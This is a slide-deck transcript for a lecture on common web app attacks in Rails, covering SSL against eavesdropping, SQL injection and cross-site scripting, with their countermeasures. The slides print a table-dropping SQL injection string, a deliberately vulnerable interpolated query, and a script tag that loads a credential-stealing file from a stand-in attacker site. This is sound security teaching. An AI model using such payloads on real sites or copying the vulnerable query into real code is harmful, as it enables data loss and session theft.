Security: Attacks & Countermeasures

Published  . 0 views
↓ Download
Security: Attacks & Countermeasures
1 / 1
Security: Attacks & Countermeasures - slide 1 of 29 Security: Attacks & Countermeasures - slide 2 of 29 Security: Attacks & Countermeasures - slide 3 of 29 Security: Attacks & Countermeasures - slide 4 of 29 Security: Attacks & Countermeasures - slide 5 of 29 Security: Attacks & Countermeasures - slide 6 of 29 Security: Attacks & Countermeasures - slide 7 of 29 Security: Attacks & Countermeasures - slide 8 of 29 Security: Attacks & Countermeasures - slide 9 of 29 Security: Attacks & Countermeasures - slide 10 of 29 Security: Attacks & Countermeasures - slide 11 of 29 Security: Attacks & Countermeasures - slide 12 of 29 Security: Attacks & Countermeasures - slide 13 of 29 Security: Attacks & Countermeasures - slide 14 of 29 Security: Attacks & Countermeasures - slide 15 of 29 Security: Attacks & Countermeasures - slide 16 of 29 Security: Attacks & Countermeasures - slide 17 of 29 Security: Attacks & Countermeasures - slide 18 of 29 Security: Attacks & Countermeasures - slide 19 of 29 Security: Attacks & Countermeasures - slide 20 of 29 Security: Attacks & Countermeasures - slide 21 of 29 Security: Attacks & Countermeasures - slide 22 of 29 Security: Attacks & Countermeasures - slide 23 of 29 Security: Attacks & Countermeasures - slide 24 of 29 Security: Attacks & Countermeasures - slide 25 of 29 Security: Attacks & Countermeasures - slide 26 of 29 Security: Attacks & Countermeasures - slide 27 of 29 Security: Attacks & Countermeasures - slide 28 of 29 Security: Attacks & Countermeasures - slide 29 of 29
Description: Security: Attacks Countermeasures http:xkcd.com327 Three Common Web App Attacks and Countermeasures Ill unfold them one by one What potential attack happens here? What potential attack happens here? Eavesdropping, packet sniffing,

Related Topics

Download Presentation

"Security: Attacks & Countermeasures" is the property of its rightful owner. Permission is granted to download and print the materials on this website for personal, non-commercial use only, and to display it on your personal computer provided you do not modify the materials and that you retain all copyright notices contained in the materials. By downloading content from our website, you accept the terms of this agreement.

Presentation Transcript

slide1. Security: Attacks & Countermeasures http://xkcd.com/327/<br>
slide2. Three Common Web App Attacks and Countermeasures I’ll unfold them one by one…<br>
slide3. What potential attack happens here?<br>
slide4. What potential attack happens here? Eavesdropping, packet sniffing,
man-in-the-middle<br>
slide5. Example: Unsecured Sign-Up Page<br>
slide6. How to prevent?<br>
slide7. How to prevent? Encrypt communications with SSL (HTTPS)<br>
slide8. How to enable site-wide SSL in Rails Also requires config on production server
E.g.: Signed certificate Taken from https://www.railstutorial.org/book/ (3rd Ed.) Listing 7.26
See also http://guides.rubyonrails.org/configuring.html#rails-general-configuration<br>
slide9. Three Common Web App Attacks and Countermeasures Attack: Eavesdropping on network communications
Countermeasure: Encrypt communications with SSL<br>
slide10. Why were the student records lost? http://xkcd.com/327/<br>
slide11. Why were the student records lost? http://xkcd.com/327/ The name string “Robert'); DROP TABLE Students;--” injected malicious code

But how can this happen?<br>
slide12. Imagine controller that looks up students by name id = params[:id]
# => "Robert"

Student.where("name = '#{id}'")<br>
slide13. Imagine controller that looks up students by name id = params[:id]
# => "Robert"

Student.where("name = '#{id}'")<br>
slide14. What if…? id = params[:id]
# => "Robert'; DROP TABLE students;--"

Student.where("name = '#{id}'")<br>
slide15. What if…? id = params[:id]
# => "Robert'; DROP TABLE students;--"

Student.where("name = '#{id}'")<br>
slide16. How to prevent SQL injection? id = params[:id]
# => "Robert'; DROP TABLE students;--"

Student.where("name = '#{id}'")<br>
slide17. How to prevent SQL injection? id = params[:id]
# => "Robert'; DROP TABLE students;--"

Student.where("name = '#{id}'")<br>
slide18. Translation becomes… id = params[:id]
# => "Robert'; DROP TABLE students;--"

Student.where("name = ?", id)<br>
slide19. Translation becomes… id = params[:id]
# => "Robert'; DROP TABLE students;--"

Student.where("name = ?", id)<br>
slide20. Three Common Web App Attacks and Countermeasures Attack: Eavesdropping on network communications
Countermeasure: Encrypt communications with SSL
Attack: SQL injection
Countermeasure: Use escaped queries<br>
slide21. Micropost Example: What if…?<br>
slide22. Micropost Example: What if…? Blah blah… <script src="http://mallorysevilsite.com/authstealer.js"> User posts<br>
slide23. Malicious script runs when feed loads! Blah blah… <script src="http://mallorysevilsite.com/authstealer.js"><br>
slide24. How to prevent cross-site scripting (XSS)?<br>
slide25. How to prevent cross-site scripting (XSS)? Use Rails!
Hartl: “Rails automatically prevents the [XSS] problem by escaping any content inserted into view templates.”<br>
slide26. Three Common Web App Attacks and Countermeasures Attack: Eavesdropping on network communications
Countermeasure: Encrypt communications with SSL
Attack: SQL injection
Countermeasure: Use escaped queries
Attack: Cross-site scripting (another type of injection)
Countermeasure: Use Rails (escape text) Although these attacks are common, there are many more
(e.g., cross-site request forgery – see Hartl Ch. 3)<br>
slide27. CERT Top 10 Software Security Practices Validate input
Heed compiler warnings
Architect and design for security policies
Keep it simple
Default deny
Adhere to the principle of least privilege
Sanitize data sent to other software
Practice defense in depth
Use effective quality assurance techniques
Adopt a software construction security standard Taken from https://www.securecoding.cert.org/ (https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices)<br>
slide28. For more attacks and countermeasures, see the Rails Security Guide http://guides.rubyonrails.org/security.html<br>
slide29. Summary Encrypting communication with SSL
SQL injection attacks
XSS attacks
CERT security practices<br>